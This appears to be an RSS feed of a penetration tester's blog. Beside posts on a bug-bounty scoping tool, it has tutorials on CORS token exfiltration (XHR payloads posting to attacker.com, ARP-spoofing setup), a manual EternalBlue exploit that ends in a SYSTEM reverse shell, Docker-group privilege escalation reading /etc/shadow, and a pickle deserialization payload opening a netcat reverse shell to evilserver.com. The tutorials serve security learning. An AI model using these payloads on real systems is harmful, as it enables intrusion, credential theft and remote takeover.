<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <docs>https://blogs.law.harvard.edu/tech/rss</docs>
    <title>root4loot</title>
    <link>https://root4loot.com/</link>
    <description>Recent content on root4loot</description>
    <image>
      <title>root4loot</title>
      <link>https://root4loot.com/</link>
      <url>/img/opengraph.png</url>
    </image>
    <ttl>1440</ttl>
    <generator>After Dark 7.2.1 (Hugo 0.55.1)</generator>
    <language>en-US</language>
    <lastBuildDate>Sun, 29 Mar 2020 00:00:00 +0000</lastBuildDate>
    
      <atom:link href="https://root4loot.com/index.xml" rel="self" type="application/rss+xml" />
    
    
      <item>
        <title>About</title>
        <link>https://root4loot.com/about/</link>
        <pubDate>Sun, 29 Mar 2020 00:00:00 +0000</pubDate>
        <dc:creator>root4loot</dc:creator>
        <guid>https://root4loot.com/about/</guid>
        <description>My name is Daniel Antonsen and I&amp;rsquo;m a security researcher from Norway. I have a degree in Information Security from NTNU Norway and work as a full-time penetration tester in Oslo. Work keeps me very busy so I don&amp;rsquo;t have much time to spare on this blog but, I am planning on coming out with some new projects soon so stay tuned for that - follow me on Twitter if you&amp;rsquo;re interested or if you wanna link up.</description>
        <content:encoded><![CDATA[My name is Daniel Antonsen and I&amp;rsquo;m a security researcher from Norway. I have a degree in Information Security from NTNU Norway and work as a full-time penetration tester in Oslo. Work keeps me very busy so I don&amp;rsquo;t have much time to spare on this blog but, I am planning on coming out with some new projects soon so stay tuned for that - follow me on Twitter if you&amp;rsquo;re interested or if you wanna link up. Appreciate you stopping by!
]]></content:encoded>
      </item>
    
      <item>
        <title>Announcing rescope v1.0 - Scoping for Bug-Bounty Hunters Made Easy</title>
        <link>https://root4loot.com/post/announcing_rescope_v1.0/</link>
        <pubDate>Tue, 16 Apr 2019 00:00:00 +0200</pubDate>
        <dc:creator>[root4loot]</dc:creator>
        <guid>https://root4loot.com/post/announcing_rescope_v1.0/</guid>
        <description>It&amp;rsquo;s been roughly one month since rescope first got introduced and the feedback so far has been nothing but positive. Given that I was so new to twitter and everything, I didn&amp;rsquo;t know what to expect. Heck, with less than 20 followers at the time, I was surprised that anyone even saw the tweet, let alone click it. I dunno what happened, but somehow it gained some traction and before I knew, it was featured on pentester.</description>
        <category domain="https://root4loot.com/categories/tools">Tools</category>
        <content:encoded><![CDATA[ It&amp;rsquo;s been roughly one month since rescope first got introduced and the feedback so far has been nothing but positive. Given that I was so new to twitter and everything, I didn&amp;rsquo;t know what to expect. Heck, with less than 20 followers at the time, I was surprised that anyone even saw the tweet, let alone click it. I dunno what happened, but somehow it gained some traction and before I knew, it was featured on pentester.land as the tool of the week! Let&amp;rsquo;s just say I wasn&amp;rsquo;t expecting that.
By the way, pentester.land is a fantastic resource for keeping up with the latest tools, articles, and writeups in the bugbounty world so definitely check that out if you haven&amp;rsquo;t.
I was planning on providing some background for this update but screw it, I&amp;rsquo;m just gonna cut to the chase. Without further ado, I&amp;rsquo;m excited to announce a new feature I&amp;rsquo;ve been working on which lets you define scopes directly from pretty much any public bug-bounty program.
Supported services
 bugcrowd.com hackerone.com hackenproof.com intigriti.com openbugbounty.com yeswehack.com  As with previous versions, no longer do you have to copy/paste the scope section to a file and set excludes manually. Just tell rescope which program you&amp;rsquo;d like to scope and it&amp;rsquo;ll take care of the rest.
$ rescope --burp -u hackerone.com/security -o importme.json [-] Grabbing targets from hackerone.com/security &#43; https://hackerone.com &#43; https://api.hackerone.com &#43; *.vpn.hackerone.net &#43; https://hackerone-us-west-2-production-attachments.s3-us-west-2.amazonaws.com/ &#43; https://www.hackerone.com &#43; https://errors.hackerone.net &#43; https://*.hackerone-ext-content.com &#43; https://ctf.hacker101.com &#43; https://*.hackerone-user-content.com/ &#43; 66.232.20.0/23 &#43; 206.166.248.0/23 - https://support.hackerone.com - https://ma.hacker.one - https://www.hackeronestatus.com/ - https://info.hacker.one/ - https://go.hacker.one [-] Parsing to JSON (Burp Suite) [✓] Done. Wrote 185786 bytes to importme.json  As before, rescope does some regexp magic behind the scenes and what you get is a file that can be imported directly from Burp or ZAP (depending on your choice). For bug-hunters, this makes scoping extremely easy. See Github for instructions on how to import.
Result after importing Fancy working on multiple programs at the same time? Why not stack them together.
rescope --burp -u bugcrowd.com/bugcrowd -u hackerone.com/security -o importme.json Got a whole bunch? Feel free to throw them in a list.
$ cat bigscope.txt bugcrowd.com/bugcrowd hackerone.com/security hackenproof.com/hacken/hackenproof intigriti.com/intigriti/intigriti openbugbounty.org/bugbounty/mogiwitt/ yeswehack.com/programs/yes-we-hack  And pass it to -i (—-infile) as so.
$ rescope --burp -i bigscope.txt -o bigscope.json --silent [-] Identified BBaaS program (bugcrowd.com/bugcrowd) in bigscope.txt [-] Identified BBaaS program (hackerone.com/security) in bigscope.txt [-] Identified BBaaS program (hackenproof.com/hacken/hackenproof) in bigscope.txt [-] Identified BBaaS program (intigriti.com/intigriti/intigriti) in bigscope.txt [-] Identified BBaaS program (openbugbounty.org/bugbounty/mogiwitt/) in bigscope.txt [-] Identified BBaaS program (yeswehack.com/programs/yes-we-hack) in bigscope.txt [-] Grabbing targets from bigscope.txt [-] Grabbing targets from bugcrowd.com/bugcrowd [-] Grabbing targets from hackerone.com/security [-] Grabbing targets from hackenproof.com/hacken/hackenproof [-] Grabbing targets from intigriti.com/intigriti/intigriti [-] Grabbing targets from openbugbounty.org/bugbounty/mogiwitt [-] Grabbing targets from yeswehack.com/programs/yes-we-hack [-] Parsing to JSON (Burp Suite) [✓] Done. Wrote 193234 bytes to bigscope.json Pretty neat ye? You can even combine private and public scopes if you want. Again, see repo for details.
Quick install
go get -u github.com/root4loot/rescope  If you run into merge issues from v0.1 then delete the repo and install once again (sorry for the inconvenience.)
 Friendly reminder Don&#39;t forget to read the bounty program policy 🎖  
Hope you found this useful and if you did then feel free to follow me on Twitter for future updates and other cool things to come. As always, let me know if you run into any issues. Good luck!
]]></content:encoded>
      </item>
    
      <item>
        <title>Abusing CORS (Improper Origin Validation)</title>
        <link>https://root4loot.com/post/abusing_cors_origin/</link>
        <pubDate>Sun, 31 Mar 2019 00:00:00 +0100</pubDate>
        <dc:creator>[root4loot]</dc:creator>
        <guid>https://root4loot.com/post/abusing_cors_origin/</guid>
        <description>In this post we will look at what happens when CORS Origin is not validated correctly and explore some ways this can be abused to exfiltrate data. My initial idea with this was to cover the MITM part (improper scheme validation) in greater detail, but I figured why not include the others as well. I won&amp;rsquo;t go into the cause of the problem, but rather focus on the symptoms and try to provide some clear examples of how this can be approached from an attackers&amp;rsquo; POV.</description>
        <category domain="https://root4loot.com/categories/security">Security</category>
        <content:encoded><![CDATA[ In this post we will look at what happens when CORS Origin is not validated correctly and explore some ways this can be abused to exfiltrate data. My initial idea with this was to cover the MITM part (improper scheme validation) in greater detail, but I figured why not include the others as well. I won&amp;rsquo;t go into the cause of the problem, but rather focus on the symptoms and try to provide some clear examples of how this can be approached from an attackers&amp;rsquo; POV. For other details, see supporting materials at the very end.
 Origin Root/TLD Origin Subdomain Origin Scheme Origin null Payload Supporting Material  Origin Root/TLD First one has to do with Root/TLD domain.
GET /token HTTP/1.1 Host: api.example.com Accept: */* Origin: https://www.attacker.com Connection: close --- HTTP/1.1 200 OK Access-Control-Allow-Origin: https://www.attacker.com Access-Control-Allow-Credentials: true {&amp;quot;[token]&amp;quot;}  Here, access is granted to any domain (including https://www.attacker.com) with credentials through CORS.
However, it&amp;rsquo;s usually not that simple as most sites do have some validation in place though not all of them are perfect.
For instance, a site may only check whether the origin begins with or ends with a particular string and grant access whenever this condition is met. Example:
 Access is granted to example.com.attacker.com because origin begins with example.com. Access is granted to foobarexample.com because origin ends with example.com.  Exploiting this is straight forward. Simply host the payload on any domain and have the &amp;ldquo;victim&amp;rdquo; load it. In doing so (assuming victim is authenticated to the vulnerable site) the following will occur:
 Victims browser sends XHR request to misconfigured endpoint (with cookies/credentials). The origin of this request is whatever domain the payload is hosted on. Server grants access to the origin of this request, accepts cookies / authorization headers and responds back to the victim&amp;rsquo;s browser with the token. Victims&amp;rsquo; browser triggers the onload function and leaks token to the attackers&amp;rsquo; site.  Alternatively, you can use something like test-cors.org to prove your concept.
A site may respond with CORS headers ONLY when `Origin` is part of the request. If it&#39;s not part of the original request, then try adding it.  Origin Subdomain The second one has to do with (you guessed it) the subdomains. In this case, the server won&amp;rsquo;t trust any domain, but it will however accept any subdomain we throw at it (again with credentials).
GET /token HTTP/1.1 Host: api.example.com Accept: */* Origin: https://foo.example.com Connection: close --- HTTP/1.1 200 OK Access-Control-Allow-Origin: https://foo.example.com Access-Control-Allow-Credentials: true {&amp;quot;[token]&amp;quot;}  Abusing this is not as straight forward as you&amp;rsquo;re confined to the subdomains of whomever is your target. This means that you will have to find some way of injecting Javascript onto one of those subdomain pages.
For instance, let&amp;rsquo;s say you happen to have a reflective (self) XSS on any subdomain of https://example.com, say https://support.example.com.
E.g. https://support.example.com?vuln=&amp;lt;script&amp;gt;alert&amp;lt;/script&amp;gt;
Instead of popping an alert, you could remove the line breaks from the payload and feed it to the vulnerable param as so.
https://support.example.com?vuln=var req = new XMLHttpRequest();req.onload = reqListener;req.open(&#39;GET&#39;,&#39;https://example.com/token/&#39;,true); ...)
As before, once requested, the payload sends XHR request from the browser to the web API endpoint having origin: https://support.example.com which the server accepts (with credentials). As so, the server responds with the token (to the browser), at which the payload takes over and leaks token to the attacker&amp;rsquo;s site.
For more advanced techniques (concerning subdomains), be sure to check this fantastic post by Corben Leo.
Origin Scheme This one is a bit more confusing, but the idea is the same. Here, the domain and subdomain are indeed validated, but not the scheme.
GET /api HTTP/1.1 Host: example.com Accept: */* Origin: http://api.example.com Connection: close --- HTTP/1.1 200 OK Access-Control-Allow-Origin: http://api.example.com Access-Control-Allow-Credentials: true content-security-policy: default-src &#39;none&#39; strict-transport-security: max-age=31536000 {&amp;quot;[token]&amp;quot;}  As you can see, access is granted to http://api.example.com (HTTP) with credentials. This essentially breaks HTTPS, rendering strict-transport-security useless.
To abuse this, you will have to spoof the &amp;ldquo;victim&amp;rdquo; connected to the same network as yourself. The point of this is to intercept packets and ultimately inject the payload into one of the responses (instructions below).


Each item represents a line ending in an arrow 1. Victim requests insecure data from anywhere on the web through HTTP. Typically mixed content such as images hosted on an otherwise secure site. 2. MITM intercepts the response (200 OK) and blindly redirects the victim to a domain that is &#34;trusted&#34; by CORS `http://www.example.com/doesnotexist`, but to a page that does not exist (see reason below). 3. Victim follows the redirect, requesting `http://www.example.com/doesnotexist` 4. Despite page not existing, the server will most likely try to 301 redirect the victim back to HTTPS first, rather than issuing 404 straight away. The origin of this response is `http://www.example.com`. 5. MITM intercepts this and replaces the response data with XHR [payload](#payload). 6. Victims&#39; browser loads the payload and sends XHR request to the endpoint with credentials. 7. Server &#34;trusts&#34; the origin of this request `http://www.example.com` (with credentials) and responds back with the token. 8. Victims&#39; browser receives this response, triggering the payload listener and leaks the token to the attacker controlled domain.    Note for point 2: The reason for redirecting the &amp;ldquo;victim&amp;rdquo; to http://www.example.com/doesnotexist rather than http://www.example.com directly (which also works) is to prevent the client browser from loading HTTPS (https://www.example.com) directly from cache, rather than requesting HTTP (http://www.example.com). This little trick makes a world of difference, but for this to work, it&amp;rsquo;s essential that you redirect the victim to page that has not been previously visited before.
I hope that made some sense and let me just say that it&amp;rsquo;s not nearly as complicated as it looks. Once everything is set up you only have to intercept/modify a few packets and that&amp;rsquo;s pretty much it.
Why not automate this process from beginning to end? 🤔 That could be something for a future post so let me know if you&amp;rsquo;re interested.
Setting up a MITM PoC environment Make sure VMs are bridged. Begin by ARP poisoning the victim:
arpspoof -i INTERFACE -t IP_TO_SPOOF GATEWAY_IP arpspoof -i eth0 -t 192.168.0.10 192.168.0.1  Setup iptables to route traffic on port 80 to whatever port you want to proxy:
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8081  
Now 🔥 up Burp Suite:
 Head to Proxy - &amp;gt; Options
 Add a new proxy listener Set bind-port to your redirected port Set bind-address to attacking IP (not loopback) Click the &amp;ldquo;Request Handling&amp;rdquo; tab Check &amp;ldquo;Support invisible proxying&amp;rdquo; (important!) Hit &amp;ldquo;Ok&amp;rdquo;  On your spoofed target; request some HTTP traffic from any site and head back to your Burp proxy. If you don&amp;rsquo;t see any traces of it, then your target is likely requesting HTTPS from browser cache. Therefore, be sure to clean out the cache first or disable caching entirely just to be sure.
As MITM (in this case) you are only really interested in the responses, not the requests. Burp will not intercept responses by default so make sure this is enabled from the proxy options.
Origin: null The null origin is according to the HTML spec an opaque origin, which is:
 An internal value, with no serialization it can be recreated from (it is serialized as &amp;ldquo;null&amp;rdquo; per serialization of an origin), for which the only meaningful operation is testing for equality.
 As far as I know, this is true when:
 The resource redirects to another resource having a different origin. The resource uses a non-hierarchial scheme (such as data: or file:). Accessing a sandboxed document.  GET /token HTTP/1.1 Host: api.example.com Accept: */* Origin: null Connection: close --- HTTP/1.1 200 OK Access-Control-Allow-Origin: null Access-Control-Allow-Credentials: true {&amp;quot;[token]&amp;quot;}  Here, the server wrongfully grants access to Origin: null, with credentials. Seeing this, your goal now is to obtain this null origin somehow, by &amp;ldquo;triggering&amp;rdquo; one of the conditions above. One way of doing this is to send an XHR request from host A, to a page on host B that 302 redirects to the endpoint with a different origin.
Or better; wrap the payload in an iframe sandbox (without allow-same-origin) as so:
&amp;lt;iframe sandbox=&amp;#39;allow-scripts allow-forms&amp;#39;src=&amp;#39;data:text/html, &amp;lt;script&amp;gt; &amp;lt;!--Cors payload goes here--&amp;gt; &amp;lt;/script&amp;gt;&amp;#39;&amp;gt;&amp;lt;/iframe&amp;gt; This should work regardless of where it is hosted as long the null origin is set (assuming server responds with ACAO: true).
Payload The payload basically sends an XHR GET request to the endpoint withCredentials = true. The response triggers the listener who sends whatever data comes in return back to the attackers&amp;rsquo; domain.
&amp;lt;script&amp;gt; var xhr = new XMLHttpRequest(); xhr.onload = reqListener; xhr.open(&amp;#39;GET&amp;#39;,&amp;#39;https://api.example.com/token/&amp;#39;,true); xhr.withCredentials = true; xhr.send(); &amp;lt;!-- leak response token to attacker --&amp;gt; function reqListener() { location=&amp;#39;https://attacker.com/log?token=&amp;#39;&#43;this.responseText; }; &amp;lt;/script&amp;gt; The above works well when endpoint responds with simple strings however if the response data is more complicated (like raw HTML) then consider using something like this instead.
&amp;lt;script&amp;gt; var xhr = new XMLHttpRequest(); xhr.addEventListener(&amp;#34;load&amp;#34;, reqListener); xhr.open(&amp;#34;GET&amp;#34;, &amp;#34;https://example.com/profile.php&amp;#34;); xhr.withCredentials = true; xhr.send(); &amp;lt;!-- send response HTML to attacker --&amp;gt; function reqListener() { var leak = new XMLHttpRequest(); leak.open(&amp;#34;POST&amp;#34;, &amp;#34;https://attacker.com/leaked.html&amp;#34;, true); leak.send(xhr.responseText); } &amp;lt;/script&amp;gt; Which does the same thing, except the response data is now sent back as POST. Worth noting is that mod_security (or similar) must but enabled for this to be logged on the receiving end. For Apache, this usually ends up in /var/log/apache2/modsec_audit.log. If the response data is JSON, then consider parsing it first.(JSON.parse(xhr.responseText)).
Supporting Material  Exploiting CORS misconfigurations for Bitcoins and bounties We Still Don’t Have Secure Cross-Domain Requests: an Empirical Study of CORS Evan Johnson - Misconfigured CORS and why web appsec is not getting easier - AppSecUSA 2016  ]]></content:encoded>
      </item>
    
      <item>
        <title>Introducing rescope - A Scope Parser for Burp Suite &amp; OWASP ZAP</title>
        <link>https://root4loot.com/post/introducing_rescope/</link>
        <pubDate>Sat, 16 Mar 2019 00:00:00 +0100</pubDate>
        <dc:creator>[root4loot]</dc:creator>
        <guid>https://root4loot.com/post/introducing_rescope/</guid>
        <description>rescope is a tool I wrote (in Go) that lets you quickly define scopes in Burp/ZAP- mainly intended for &amp;ldquo;bug hunters&amp;rdquo;, and pentesters who deal with larger scopes.
Update As for rescope v1.0 it is now possible to parse scopes straight from any major &#34;bug-bounty-as-a-service&#34; program. See Github and [Blog post](https://root4loot.com/post/announcing_rescope_v1.0/) for details.  Simply give it a file (scope) containing target identifiers and rescope parses this to regex &amp;amp; spits out a file that can be imported to either Burp or ZAP directly.</description>
        <category domain="https://root4loot.com/categories/tools">Tools</category>
        <content:encoded><![CDATA[ rescope is a tool I wrote (in Go) that lets you quickly define scopes in Burp/ZAP- mainly intended for &amp;ldquo;bug hunters&amp;rdquo;, and pentesters who deal with larger scopes.
Update As for rescope v1.0 it is now possible to parse scopes straight from any major &#34;bug-bounty-as-a-service&#34; program. See Github and [Blog post](https://root4loot.com/post/announcing_rescope_v1.0/) for details.  Simply give it a file (scope) containing target identifiers and rescope parses this to regex &amp;amp; spits out a file that can be imported to either Burp or ZAP directly.

I won&amp;rsquo;t detail the functionality of rescope here, but rather share my thoughts on how scopes are defined at the moment and raise some questions as far as efficiency goes, especially in consideration to scopes that are large or otherwise specific. Keep in mind that whatever follows are merely my point of view based on personal experience in working with both programs.
For everything else, be sure to check out the project on Github (link above).
Defining scopes Scopes are defined in mainly two ways, which goes for both Burp &amp;amp; ZAP:
 Add them manually - involves having to write regular expressions except when adding simple prefixes to Burp.
 Add from history - means you&amp;rsquo;ll first have to proxy some traffic to index the target and then add it from the history/sitemap context menu. This is according to Portswigger &amp;ldquo;by far the easiest&amp;rdquo; way to define scopes.
  Either way is excellent (IMO) and is completely fine in most cases, that is; when you have a scope that is rather small-ish in size. However, I found that the larger (or more specific) the scope, the more annoying it becomes to define. Again, I can only speak for myself here, and you may never have experienced this yourself but to give you some perspective; imagine having to define a scope containing ~30 identifiers, many of which are considered out-of-scope. You take the simplest route and begin proxying traffic, so they become selectable from the history/sitemap. Not so fast.. Targets out-of-scope are out of scope for a reason, so it&amp;rsquo;s probably not a good idea to proxy any traffic from these to begin with - meaning you&amp;rsquo;ll have to add those separately (the manual way). In case you forgot, excluded targets can not be set to either Burp or ZAP directly. The target (or its parent) must first be included to scope, then removed from includes in order for it become excluded.
Moving on, for each target, you will have to filter through the entire sitemap and add each from the context menu individually, which (in the case of Burp) becomes especially painful when you don&amp;rsquo;t have a paid licence. Fair enough, but what if your added domain doesn&amp;rsquo;t match the identifier from your scope exactly? I.e., your identifier contains wildcards (e.g., *.google.com). Well, since those cannot be added directly either, you will have to first add something close to it (like www.google.com), then modify its regular to expression to reflect the wildcard later on. Of course, this is not a big problem in itself but if you ever had to repeat these steps 30 times over then I think you already know the process is questionable at best.
Not to mention, the bigger the scope, the greater the risk of you messing something up along the way; which is actually a big deal when you think about it. Imagine wrapping up a project, only to find you had failed to include one of the key targets at the very end. Or worse, you made a typo upon modifying one of the regexes (e.g. you forgot to escape &amp;lsquo;.&amp;rsquo;) Which lead you out-of-bounds without knowing. Going out-of-bounds can be very bad (even career limiting), so you better be careful as all it takes is one simple mistake.
Could&amp;rsquo;ve been easy? A very simple scope looks something like this.
// include this *.example.com ftp:example.com sub.example.com:8080 // exclude this pita.example.com example.com/admin/* Which is just a list of identifiers that tell you what to include or exclude from the scope. Not all scopes are set the same, but for the most part, this is what you get. So if that&amp;rsquo;s the &amp;ldquo;golden standard&amp;rdquo; (if you will), then one may wonder why Burp/ZAP doesn&amp;rsquo;t provide any ways of parsing this directly. Just copy the identifiers from your scope to an &amp;lsquo;Include/Exclude&amp;rsquo; field inside the application and that&amp;rsquo;s it, right? Having said that, there may be restrictions of sorts that I&amp;rsquo;m not aware of which could prevent this from being implemented, but as it stands, I can&amp;rsquo;t think of any good reason why it&amp;rsquo;s not already there.
Using rescope Considering the issues described I came up with rescope, which turned out to be a great starting project for learning Go.
Simply provide a scope (file containing scope identifiers) and rescope will parse this to a format that can be imported from Burp/ZAP directly.
$ rescope --burp -i scope.txt -o burp.json $ rescope --zap --name CoolScope -i scope1.txt -i scope2.txt -o zap.context  I wanted to make the process of parsing scopes as simple as possible. As you probably know, scopes come in various forms (websites, emails, spreadsheets, etc). Whatever the case, they usually contain more than just target identifiers, such as descriptions, tags, comments and so on.
Take this scope on HackerOne for instance. If you copy/paste its scope table to a file directly, then you&amp;rsquo;ll bring with you other information such as comments, asset type, environmental score, etc.. all scrambled together on separate lines. To save yourself from having to manually filter this out in advance, rescope identifies the targets for you. It doesn&amp;rsquo;t matter what comes before and after the identifiers, as long as they&amp;rsquo;re there.
rescope cannot guarantee accurate results all the time. Therefore, you should always verify the results yourself prior to importing. If you notice anything is wrong then please [submit an issue](https://github.com/root4loot/rescope/issues) or reach out to me on [Twitter](https://twitter.com/root4loot).  IP ranges/CIDR should be parsable, and you can easily separate excludes from includes, in addition to parsing multiple scopes at once to the same result.
I hope you found this tool useful, and if you did then feel free to drop a like or follow me on Twitter for more stuff like this.
]]></content:encoded>
      </item>
    
      <item>
        <title>MS17-010 EternalBlue Manual Exploitation</title>
        <link>https://root4loot.com/post/eternalblue_manual_exploit/</link>
        <pubDate>Sat, 16 Mar 2019 00:00:00 +0100</pubDate>
        <dc:creator>[root4loot]</dc:creator>
        <guid>https://root4loot.com/post/eternalblue_manual_exploit/</guid>
        <description>For educational purposes only
There may be times when you want to exploit MS17-010 (EternalBlue) without having to rely on using Metasploit. Perhaps you want to run it from a &amp;lsquo;Command &amp;amp; Control&amp;rsquo; system without msf installed, run a quick demo or execute on the go. Unlike &amp;ldquo;zzz_exploit&amp;rdquo;, this method does not require access to a named pipe, nor does it require any credentials. The downside, however, is an increased risk of crashing the target.</description>
        <category domain="https://root4loot.com/categories/security">Security</category>
        <content:encoded><![CDATA[ For educational purposes only
There may be times when you want to exploit MS17-010 (EternalBlue) without having to rely on using Metasploit. Perhaps you want to run it from a &amp;lsquo;Command &amp;amp; Control&amp;rsquo; system without msf installed, run a quick demo or execute on the go. Unlike &amp;ldquo;zzz_exploit&amp;rdquo;, this method does not require access to a named pipe, nor does it require any credentials. The downside, however, is an increased risk of crashing the target. Kudos to Worawit Wang for making this easy.
Start by cloning the following repository:
$ git clone https://github.com/worawit/MS17-010.git  The shellcode directory holds (you guessed it) the kernel shellcodes.
$ ls -l MS17-010/shellcode/ total 44 -rw-r--r-- 1 root root 20305 Dec 2 22:03 eternalblue_kshellcode_x64.asm -rw-r--r-- 1 root root 19862 Dec 2 22:03 eternalblue_kshellcode_x86.asm -rw-r--r-- 1 root root 1589 Dec 2 22:03 eternalblue_sc_merge.py  The first step is to assemble shellcode to binary. You can do either one (depending which architecture your target is running), or assemble both and merge them to a single binary file. The latter is useful when you don&amp;rsquo;t know the target arch or if you are planning to run it against multiple systems with different architectures.
x64 shellcode Assemble kernel shellcode with nasm:
$ nasm -f bin MS17-010/shellcode/eternalblue_kshellcode_x64.asm -o ./sc_x64_kernel.bin  Generate a binary payload or use an existing one. Name this sc_x64_payload.bin:
$ msfvenom -p windows/x64/shell_reverse_tcp LPORT=443 LHOST=192.168.0.29 --platform windows -a x64 --format raw -o sc_x64_payload.bin No encoder or badchars specified, outputting raw payload Payload size: 510 bytes Saved as: sc_x64_payload.bin  Concentrate payload &amp;amp; shellcode:
$ cat sc_x64_kernel.bin sc_x64_payload.bin &amp;gt; sc_x64.bin  x86 shellcode Assemble kernel shellcode with nasm:
$ nasm -f bin MS17-010/shellcode/eternalblue_kshellcode_x86.asm -o ./sc_x86_kernel.bin  Generate a binary payload or use an existing one. Name this sc_x86_payload.bin:
$ msfvenom -p windows/shell_reverse_tcp LPORT=443 LHOST=192.168.0.29 --platform windows -a x86 --format raw -o sc_x86_payload.bin No encoder or badchars specified, outputting raw payload Payload size: 341 bytes Saved as: sc_x86_payload.bin  Concentrate payload &amp;amp; shellcode:
$ cat sc_x86_kernel.bin sc_x86_payload.bin &amp;gt; sc_x86.bin  Merging binaries This step is only necessary when you want both x64 and x86 in the same binary. Assuming that you followed the steps above for each architecture; merging is done with the included eternalblue_sc_merge.py script:
$ python MS17-010/shellcode/eternalblue_sc_merge.py sc_x86.bin sc_x64.bin sc_all.bin  Targets The eternalblue scripts are located in MS17-010/ and have the following targets.
eternalblue_exploit7.py:
 Windows Server 2008 &amp;amp; R2 Windows Server 2012 &amp;amp; R2 (x86) Windows Server 2016 (x64) Windows Vista Windows 7  
eternalblue_exploit8.py:
 Windows Server 2012 (x64)
 Windows 8.1 &amp;amp; RT
 Windows 10 (x64) (build &amp;lt; 14393)
  Running exploit Word of advice; running these blindly against the target is a bad idea. Be sure to enumerate the OS first. Also, expect your target to crash or force a reboot once the session is closed.
Example running against vulnerable Windows 7 host:
$ python MS17-010/eternalblue_exploit7.py 192.168.0.31 sc_all.bin  $ nc -lvnp 443 listening on [any] 443 ... connect to [192.168.0.29] from (UNKNOWN) [192.168.0.31] 49191 Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Windows\system32&amp;gt;whoami whoami nt authority\system  ]]></content:encoded>
      </item>
    
      <item>
        <title>Docker group privesc</title>
        <link>https://root4loot.com/post/docker-privilege-escalation/</link>
        <pubDate>Fri, 15 Mar 2019 00:00:00 +0100</pubDate>
        <dc:creator>[root4loot]</dc:creator>
        <guid>https://root4loot.com/post/docker-privilege-escalation/</guid>
        <description>I don&amp;rsquo;t think Docker needs an introduction at this point, but in case you are unfamiliar with it; it is a way of isolating software packages by virtualizing them on an OS-level which runs in &amp;ldquo;containers.&amp;rdquo; It works in a similar way to traditional virtual machines, but with much less overhead as the kernel is shared between multiple containers.
The problem arises when the docker group is assigned to the host user.</description>
        <category domain="https://root4loot.com/categories/security">Security</category>
        <content:encoded><![CDATA[ I don&amp;rsquo;t think Docker needs an introduction at this point, but in case you are unfamiliar with it; it is a way of isolating software packages by virtualizing them on an OS-level which runs in &amp;ldquo;containers.&amp;rdquo; It works in a similar way to traditional virtual machines, but with much less overhead as the kernel is shared between multiple containers.
The problem arises when the docker group is assigned to the host user. Since docker is running as root with SGID, an unauthorized person who has access to the host user (with user privileges) can easily escalate privileges by mounting the host volume to one of the containers; granting the attacker full access to the filesystem.
First, make sure the host user is part of the docker group:
alice@jada:~$ groups alice cdrom floppy audio dip video plugdev netdev bluetooth docker Run docker container ps to get a quick list of the containers:
alice@jada:~$ docker container ps CONTAINER ID IMAGE COMMAND NAMES f00ba96171c5 container1 &amp;#34;docker-php-entrypoi…&amp;#34; container1 ce2ecb56a96e container2 &amp;#34;/etc/bind/entrypoin…&amp;#34; container2 620b296204a3 container3 &amp;#34;/usr/sbin/sshd -D&amp;#34; container3 From here you can spawn a tty for each container:
alice@jada:~$ docker run -ti container1 bash root@f00ba96171c5:/# Even better, you can specify -v to mount the entire filesystem of the host to one of the containers before accessing it. It doesn&amp;rsquo;t matter which one.
alice@jada:~$ docker run -v /:/mnt/pwned -ti container2 root@ce2ecb56a96e:/# cat /mnt/pwned/etc/shadow You now have full access to the host volume, and from here it&amp;rsquo;s just a matter of grabbing keys, hashes, and whatnot to get a shell.
Takeaways Don&amp;rsquo;t assign users to docker groups.
See also: Running a Docker container as a non-root user
]]></content:encoded>
      </item>
    
      <item>
        <title>Pickle Arbitrary Code Execution</title>
        <link>https://root4loot.com/post/exploiting_cpickle/</link>
        <pubDate>Fri, 15 Mar 2019 00:00:00 +0100</pubDate>
        <dc:creator>[root4loot]</dc:creator>
        <guid>https://root4loot.com/post/exploiting_cpickle/</guid>
        <description>Pickle is a serialization/deserialization module found within the standard Python library. For those unfamiliar with serialization and deserialization; it is a way of converting objects and data structures to files or databases so that they can be reconstructed later (possibly in a different environment). This process is called serialization and deserialization, but in Python, it is called pickling and unpickling. One big caveat to pickle however, is that it does not perform any &amp;ldquo;security checking&amp;rdquo; on the data that is being unpickled, meaning that an attacker having access to the endpoint can potentially gain remote code execution by serving malicious input.</description>
        <category domain="https://root4loot.com/categories/security">Security</category>
        <content:encoded><![CDATA[Pickle is a serialization/deserialization module found within the standard Python library. For those unfamiliar with serialization and deserialization; it is a way of converting objects and data structures to files or databases so that they can be reconstructed later (possibly in a different environment). This process is called serialization and deserialization, but in Python, it is called pickling and unpickling. One big caveat to pickle however, is that it does not perform any &amp;ldquo;security checking&amp;rdquo; on the data that is being unpickled, meaning that an attacker having access to the endpoint can potentially gain remote code execution by serving malicious input. It is therefore important to use pickle only when you have a trusted relationship between partners.
From the Pickle documentation:
 Warning The pickle module is not secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source.
 Consider the following function which is responsible for handling POST request data sent to /newpost
import cPickle import base64 ... @app.route(&amp;#34;/newpost&amp;#34;, methods=[&amp;#34;POST&amp;#34;]) def newpost(): picklestr = base64.urlsafe_b64decode(request.data) postObj = pickle.loads(picklestr) return &amp;#34;POST RECEIVED: &amp;#34; &#43; postObj[&amp;#39;Subject&amp;#39;] ... Basically what it does is take an pickled string (base64 encoded), decodes it and calls pickle.loads to unpickle it before returning a value. Knowing this, an attacker could pickle a malicious object and base64-encode it before POSTing it to the server.
Pickling objects is pretty straightforward. In the following example we import os to self, allowing us to execute commands. In this case we pop a reverse connection from /bin/sh.
import cPickle import base64 class MMM(object): def __reduce__(self): import os s = &amp;#34;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2&amp;gt;&amp;amp;1 | nc evilserver.com 443 &amp;gt; /tmp/f&amp;#34; return (os.popen, (s,)) payload = cPickle.dumps(MMM()) print payload When pickled, the output becomes.
cposix popen p1 (S&amp;#39;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2&amp;gt;&amp;amp;1 | nc evilserver.com 443 &amp;gt; /tmp/f&amp;#39; p2 tRp3 . Base64 encode this output and pass it to the server.
